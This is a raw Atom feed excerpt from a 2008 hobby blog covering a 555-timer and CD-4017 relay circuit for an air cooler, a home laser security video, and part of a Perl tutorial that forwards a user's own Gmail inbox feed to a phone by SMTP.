circuit with a trigger pulse generator.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; text-indent: 0.5in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;It amplifies the audio signals in Class C mode.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;Transistor BEL-187 [Relay Driver]&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;It is a NPN transistor. It is used to drive relays.&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; text-indent: 0.5in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;IC NE-555 [Clock Pulse Generator]&lt;/b&gt;&lt;/span&gt;&lt;p style="text-align: justify; text-indent: 0.5in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;img alt="Image and video hosting by TinyPic" src="http://i26.tinypic.com/mhafsz.jpg" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: center;" class="MsoNormal" align="center"&gt;&lt;span style="font-size:130%;"&gt;&lt;i style=""&gt;&lt;span style=""&gt;Pin Details of IC NE 555&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://i29.tinypic.com/rs7z9c.jpg" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div align="center"&gt;&lt;span style="font-size:130%;"&gt;&lt;i style=""&gt;&lt;span style=""&gt;Internal block diagram of IC&lt;br /&gt;NE-555&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;The IC&lt;br /&gt;NE-555 is an integrated circuit. It is timer IC. It is highly stable for&lt;br /&gt;generating accurate time delay or oscillation. It can operate both as mono&lt;br /&gt;stable and astable multi vibrator. In a mono stable mode, it can produce&lt;br /&gt;accurate time delays from microseconds to hours. In the astable mode, it can&lt;br /&gt;produce rectangular waves with a variable duty cycle.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;span style=""&gt;        &lt;/span&gt;The IC NE-555 timer consists of two&lt;br /&gt;comparators, a flip-flop, a discharge transistor and a resistive voltage&lt;br /&gt;divider.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;span style=""&gt;        &lt;/span&gt;In this circuit the IC NE-555 works in&lt;br /&gt;mono stable mode of operation.&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style=""&gt;&lt;i style=""&gt;Mono Stable operation of IC NE-555&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;div align="center"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;img src="http://i28.tinypic.com/14np6ig.jpg" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;At the&lt;br /&gt;beginning the output will be at stable state (low), because trigger pin 2 is at&lt;br /&gt;high state. At this situation, the transistor T1 is in conduction state which&lt;br /&gt;connects capacitor to ground. Hence the situation exists and continues. When a&lt;br /&gt;trigger pulse is given at pin 2, the trigger comparator output will go to high&lt;br /&gt;state. It set the flip-flop and hence the output at 3 will be high. Now, the&lt;br /&gt;transistor is driven to cut-off and the capacitor is not connected to ground.&lt;br /&gt;Thus the capacitor starts charging from Vcc through R.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;Mono stable waveform&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div align="center"&gt;&lt;span style="font-size:130%;"&gt;&lt;img src="http://i30.tinypic.com/icpklk.jpg" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;When the&lt;br /&gt;charge across the capacitor reaches 2/3 V&lt;sub&gt;cc&lt;/sub&gt;, the threshold&lt;br /&gt;comparator output become high and flip-flop is reset. Thus the output at pin 3&lt;br /&gt;becomes low. At this stage transistor T1 again comes to conduction and the&lt;br /&gt;capacitor voltage discharges through transistor T1. Since the condition&lt;br /&gt;continues, the output remains at low till the trigger pin 2 is connected to&lt;br /&gt;ground. The waveforms at trigger, threshold and output pin 3 are shown in the&lt;br /&gt;above figure. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;IC CD-4017 [Clock pulse counter]&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;It is&lt;br /&gt;a 16 pin IC. It is from the CMOS family. The clock pulse counter is based&lt;br /&gt;&lt;br /&gt;on&lt;br /&gt;the popular decade counter IC CD-4017BE.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div align="center"&gt;&lt;span style="font-size:130%;"&gt;&lt;img src="http://i31.tinypic.com/fuyrh3.jpg" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://i29.tinypic.com/281h2kp.jpg" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;span style=""&gt;       &lt;/span&gt;At the first trigger pulse input the pin&lt;br /&gt;3 will get the high logic output. So pin 3 (Q&lt;sub&gt;0&lt;/sub&gt;) is given to the&lt;br /&gt;input of the base of the transistor T2 which controls the first speed of the&lt;br /&gt;relay. At the third pulse, the pin 4 (Q&lt;sub&gt;2&lt;/sub&gt;) will get the high logic.&lt;br /&gt;The output of Q&lt;sub&gt;2&lt;/sub&gt; is given to the base of T&lt;sub&gt;3&lt;/sub&gt; which&lt;br /&gt;controls the second speed of the relay. Similarly at the next pulse Q&lt;sub&gt;3&lt;/sub&gt;&lt;br /&gt;get high logic and given to base of the T&lt;sub&gt;4&lt;/sub&gt; which controls the third&lt;br /&gt;speed of the relay. At the next clock pulse the pin 10 (Q&lt;sub&gt;4&lt;/sub&gt;) gets the&lt;br /&gt;high logic which is given to the “RESET” terminal (pin 15). Now the working&lt;br /&gt;starts from the beginning.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="line-height: 150%;"&gt;Relays&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;The Relays&lt;br /&gt;are used in this circuit to operate the load. It is an automatic switch with&lt;br /&gt;conducts that can be closed or opened by current in the relay coil. In some&lt;br /&gt;cases the coil is also called a solenoid. However, a solenoid is usually for&lt;br /&gt;one contact, while relay is for multiple contacts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;In&lt;br /&gt;operation the relay is activated by current in coil its magnetic field attracts&lt;br /&gt;the iron armature which has the movable switch contacts. The construction can&lt;br /&gt;allow either DC or AC operation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;o:p&gt; &lt;img src="http://i25.tinypic.com/2wem2ps.jpg" style="max-width: 800px;" /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-898876734667462913?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/898876734667462913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=898876734667462913' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/898876734667462913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/898876734667462913'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/air-cooler-hack.html' title='Air Cooler Hack'/><author><name>suvarna latha</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i25.tinypic.com/1zcdf1s_th.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3292445760326269981</id><published>2008-03-21T09:34:00.000-07:00</published><updated>2008-03-21T09:38:30.391-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Videos'/><title type='text'>Protect Your Home with Laserbeams</title><content type='html'>&lt;embed flashvars="playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fcreativzmind.blogspot.com%2F" src="http://www.metacafe.com/fplayer/1133002/protect_your_home_with_laserbeams.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/1133002/protect_your_home_with_laserbeams/"&gt;Protect Your Home with Laserbeams&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;The best home videos are here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt;&lt;span&gt;Here is an easy to make, low cost laser beam security system that beats anything I have ever seen!! My inspiration for this idea is from Brad Graham &amp;amp; Kathy McGowan of&lt;span class="moreTogglerWrapper invisible"&gt; &lt;/span&gt;&lt;span class="moreText"&gt;Atomic Zombie.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3292445760326269981?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3292445760326269981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3292445760326269981' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3292445760326269981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3292445760326269981'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/protect-your-home-with-laserbeams.html' title='Protect Your Home with Laserbeams'/><author><name>suvarna latha</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3889157446122785277</id><published>2008-03-21T09:14:00.000-07:00</published><updated>2008-03-21T09:33:22.520-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cellphones Hack'/><title type='text'>MobiGM</title><content type='html'>MobiGM is a small utility that periodically checks your GMail inbox, and sends updates to a mobile phone via email. You just have to set up a some filters with Gmail's filtering sys to forward the messages directly to your phone and be happy with that, but MobiGM allows you to dynamically react to what appears in your mailbox (which we will exploit in future projects).   &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technologies used/Requirements:&lt;br /&gt;&lt;br /&gt;    * GMail / atom feeds&lt;br /&gt;    * PERL&lt;br /&gt;          o XML::Parser&lt;br /&gt;          o Net::SMTP&lt;br /&gt;    * cron&lt;br /&gt;    * Linux&lt;br /&gt;    * BASH&lt;br /&gt;    * wget&lt;br /&gt;&lt;br /&gt;How does it work?&lt;br /&gt;GMail users can subscribe to an atom feed that contains unread emails in their inbox. We will write a simple script to download the atom feed, parse it, figure out if any emails are new, and forward the new emails to our cell phone address. Note that there are still some pay-as-you-go cellphone providers that do not charge for receiving text messages (even from email), so this can be a very inexpensive way to keep track of your inbox on the go.&lt;br /&gt;&lt;br /&gt;There is a lot of potential to add power to this application. With a little knowledge of PERL, you could create custom filters (including things impossible with GMail filters such as "only forward during xx hours of the day") and reactions to receiving emails.&lt;br /&gt;&lt;br /&gt;Let's begin.&lt;br /&gt;&lt;br /&gt;Receiving the feed&lt;br /&gt;Note: You could do this also in PERL. I'm doing it in wget.&lt;br /&gt;&lt;br /&gt;The first thing the script needs to do, is receive the atom feed for your GMail inbox. We will use GNU wget to obtain the feed. In it's most basic form, wget's syntax is:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;wget &lt;url&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;However, we need to specify a few additional parameters, namely HTTP authentication username and password. As well, we want to force wget to always download to the same filename. It's normal action is to not overwrite files that already exist, so we have to override it. So, the syntax becomes:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;wget -O &lt;output&gt; &lt;url&gt; --http-user=&lt;username&gt; --http-password=&lt;password&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For GMail, the parameters are as follows:&lt;br /&gt;&lt;br /&gt;URL: https://mail.google.com/gmail/feed/atom&lt;br /&gt;http-user : your.e.mail@gmail.com&lt;br /&gt;http-password: your gmail password&lt;br /&gt;&lt;br /&gt;Note that since the atom feed is on an https server, we are not passing our username/password in the clear.&lt;br /&gt;&lt;br /&gt;For the article, let's force wget to save into a file called 'atomfeed'. Our command is now:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;wget -O atomfeed https://mail.google.com/gmail/feed/atom --http-user=gmail.user@gmail.com --http-password=GMailPassword&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that we have the atom feed, it is time to parse it.&lt;br /&gt;&lt;br /&gt;Parsing the Atom feed&lt;br /&gt;We will use a short PERL script to parse the atom feed, and forward pertinent messages to the cellphone.&lt;br /&gt;&lt;br /&gt;Atom feeds are conceptually the same as RSS feeds, in case you have not heard of both. They are XML documents that contain a summary of information: ie, blog entries, news entries, or in this case, your unread messages in your inbox. The structure of the GMail atom feed is as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    * feed - top level tag&lt;br /&gt;          o fullcount - Number of unread emails&lt;br /&gt;          o entry - tag for each unread email&lt;br /&gt;                + title - Email subject line&lt;br /&gt;                + id - Unique identifier for each inbox entry&lt;br /&gt;                + summary - Short snippet of email contents&lt;br /&gt;                + author - Parent tag for source's information&lt;br /&gt;                      # email - Author's email&lt;br /&gt;                      # name - Author's name&lt;br /&gt;&lt;br /&gt;Since the atom feed is a properly formatted XML document, we will use the PERL module XML::Parser to parse the data. First, we'll set up some variables for parsing and for keeping track of our state.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;use XML::Parser;&lt;br /&gt;use Net::SMTP;&lt;br /&gt;&lt;br /&gt;open(ATOM, "atomfeed") or die ("Failed to get atomfeed");&lt;br /&gt;&lt;br /&gt;my $page;&lt;br /&gt;&lt;br /&gt;#load the atom feed&lt;br /&gt;while ($line = ) {&lt;br /&gt;$page = $page . $line;&lt;br /&gt;}&lt;br /&gt;close(ATOM);&lt;br /&gt;&lt;br /&gt;my $curID = "";&lt;br /&gt;my $curTitle = "";&lt;br /&gt;my $curContents = "";&lt;br /&gt;my $curAuthor = "";&lt;br /&gt;my $curAuthorEmail = "";&lt;br /&gt;&lt;br /&gt;my $elementtext;&lt;br /&gt;my @context;&lt;br /&gt;my @oldIDs;&lt;br /&gt;my @newIDs;&lt;br /&gt;&lt;br /&gt;my $parser = new XML::Parser();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The code's pretty self explanitory. We load the atom feed into the $page variable. For use with the parsing functions, we initialize five variables ($curID. $curTitle, $curContents, $curAuthor, $curAuthorEmail) used to keep track of the entry currently being parsed. As well we create variables to keep track of our parsing state ($elementtext and @context). Ignore the ID-related variables, we'll deal with them later.&lt;br /&gt;&lt;br /&gt;Our next step is to use XML::Parser to parse the atom feed. This is accomplished by the following code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$parser-&gt;setHandlers(&lt;br /&gt;Start =&gt; \&amp;amp;startTag,&lt;br /&gt;Char =&gt; \&amp;amp;parseTag,&lt;br /&gt;End =&gt; \&amp;amp;endTag, );&lt;br /&gt;&lt;br /&gt;$parser-&gt;parse($page);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What we've done is told the XML parser to use three supplied subroutines (passed by reference) as callbacks during parsing. The startTag routine will be called whenever the parser encounters a new tag. Likewise, the parseTag routine is called as we encounter text in each tag, and the endTag routine is called whenever the parser encounters the end of a tag. The final line of the snippet executes the parser, parsing the atom feed using our supplied functions.&lt;br /&gt;&lt;br /&gt;We have to supply these subrountines, since they detail how we deal with the data we're parsing. Put these at the bottom of the perl script since they're separate subrountines.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub startTag {&lt;br /&gt;my ($p, $tag, %atts) = @_;&lt;br /&gt;push @context, $tag;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub parseTag {&lt;br /&gt;my ($p, $text) = @_;&lt;br /&gt;return if ($text !~ /\S/);&lt;br /&gt;$text =~ s/^\s*//;&lt;br /&gt;$text =~ s/\s*^//;&lt;br /&gt;$elementtext .= $text;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub endTag {&lt;br /&gt;my ($p, $tag) = @_;&lt;br /&gt;&lt;br /&gt;$parentElem = $context[-2];&lt;br /&gt;&lt;br /&gt;if ($tag eq "id" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curID = $elementtext;&lt;br /&gt;} elsif ($tag eq "title" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curTitle = $elementtext;&lt;br /&gt;} elsif ($tag eq "summary" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curContents = $elementtext;&lt;br /&gt;} elsif ($tag eq "email" &amp;amp;&amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthorEmail = $elementtext;&lt;br /&gt;} elsif ($tag eq "name" &amp;amp;&amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthor = $elementtext;&lt;br /&gt;} elsif ($tag eq "entry") {&lt;br /&gt;push @newIDs, $curID;&lt;br /&gt;my $old = 0;&lt;br /&gt;&lt;br /&gt;sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;$elementtext = "";&lt;br /&gt;pop @context;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The startTag and parseTag subroutines are trivial. We're using the @context array as a stack to keep track of our state within the parser. Each time we enter a tag and begin to parse it's children or data, we push the element name onto the stack. We use this in the endTag subroutine to determine what to do with the parsed text. The parseTag subroutine, which is run during the parsing of data nodes, appends whatever data is supplied to the routine to the $elementtext variable (which will be used in endTag.&lt;br /&gt;&lt;br /&gt;The endTag subroutine looks at the current context in the node tree and saves the current $elementtext to the proper variable. Whenever we encounter the end of an entry tag, we send the email to the server. This is a dirty solution: a nicer solution would be to save all the entry data into a data structure and later deal with each entry saved (an exercise for the reader ;) ). The final thing the procedure does is pop the finished tag off the @context stack and clear the $elementtext buffer.&lt;br /&gt;&lt;br /&gt;Note that if you want to change the format of the sent email, change the formatting in the sendMail function call, above.&lt;br /&gt;&lt;br /&gt;Sending the Email&lt;br /&gt;As shown in endTag, we use sendMail to send the email to the cellphone. The source code is as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub sendMail {&lt;br /&gt;&lt;br /&gt;my @message;&lt;br /&gt;push @message, $_[0];&lt;br /&gt;&lt;br /&gt;$smtp2 = Net::SMTP-&gt;new('smtp.server.ca');&lt;br /&gt;&lt;br /&gt;$smtp2-&gt;mail('source.email@isp.ca');&lt;br /&gt;$smtp2-&gt;to('cellphoneemail@provider.com');&lt;br /&gt;$smtp2-&gt;data();&lt;br /&gt;$smtp2-&gt;datasend(@message);&lt;br /&gt;$smtp2-&gt;dataend();&lt;br /&gt;$smtp2-&gt;quit;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sendMail just uses the Net::SMTP module to send an email. You need to provide a SMTP server, source email address, and your cellphone's email address.&lt;br /&gt;&lt;br /&gt;What about duplicates?!?!&lt;br /&gt;There's a major flaw with our current solution: every time our perlscript runs, it will send an email for all unread messages in our mailbox! That means that, until we read the messages, we will receive text messages every n minutes for the same messages. Obviously this is unsuitable!&lt;br /&gt;&lt;br /&gt;Solution&lt;br /&gt;We will save the ID's of messages we have notified the cellphone of in a file. Before emailing the cellphone, we will compare with a saved list of ID's for messages that we have already sent to the cellphone. That way, the phone only receives notification of new emails.&lt;br /&gt;&lt;br /&gt;The first step is to load all the old ID's into an array. Place the code snippet below after the variable declaration (first snippet) and before the parser initialization (second snippet)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#load the previous inbox ID's&lt;br /&gt;open(OLDID, "ids.old");&lt;br /&gt;while ($line = ) {&lt;br /&gt;chomp $line;&lt;br /&gt;push @oldIDs, $line;&lt;br /&gt;}&lt;br /&gt;close(OLDID);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We open the file 'ids.old' (assumably saved by a previous run of the script), and load each line of the file into an array. We will modify endTag to look through this array before determining whether or not it should send the email address, by changing the function's code as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub endTag {&lt;br /&gt;my ($p, $tag) = @_;&lt;br /&gt;&lt;br /&gt;$parentElem = $context[-2];&lt;br /&gt;&lt;br /&gt;if ($tag eq "id" &amp;amp;&amp;amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curID = $elementtext;&lt;br /&gt;} elsif ($tag eq "title" &amp;amp;&amp;amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curTitle = $elementtext;&lt;br /&gt;} elsif ($tag eq "summary" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curContents = $elementtext;&lt;br /&gt;} elsif ($tag eq "email" &amp;amp;&amp;amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthorEmail = $elementtext;&lt;br /&gt;} elsif ($tag eq "name" &amp;amp;&amp;amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthor = $elementtext;&lt;br /&gt;} elsif ($tag eq "entry") {&lt;br /&gt;push @newIDs, $curID;&lt;br /&gt;my $old = 0;&lt;br /&gt;#was email in oldids?&lt;br /&gt;foreach $id (@oldIDs) {&lt;br /&gt;if ($curID eq $id) {&lt;br /&gt;$old = 1;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if ($old == 0) {&lt;br /&gt;sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;$elementtext = "";&lt;br /&gt;pop @context;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you can see, we are now comparing each entry's id to the loaded list of old ID's. Only if the id is not in the list do we notify the cell phone of the waiting message. As well, we are saving every message ID (old or new) in the array @newIDs.&lt;br /&gt;&lt;br /&gt;The final thing to do is to re-write the 'ids.old' file to contain the message ID for all emails in our current feed. This code is placed after the $parser-&gt;parse line, making it the last thing that happens in our main routine (and immediately above our subroutine code).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;open(NEWID, "&gt;ids.old");&lt;br /&gt;foreach $id (@newIDs) {&lt;br /&gt;print NEWID $id . "\n";&lt;br /&gt;}&lt;br /&gt;close(NEWID);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Putting it all together&lt;br 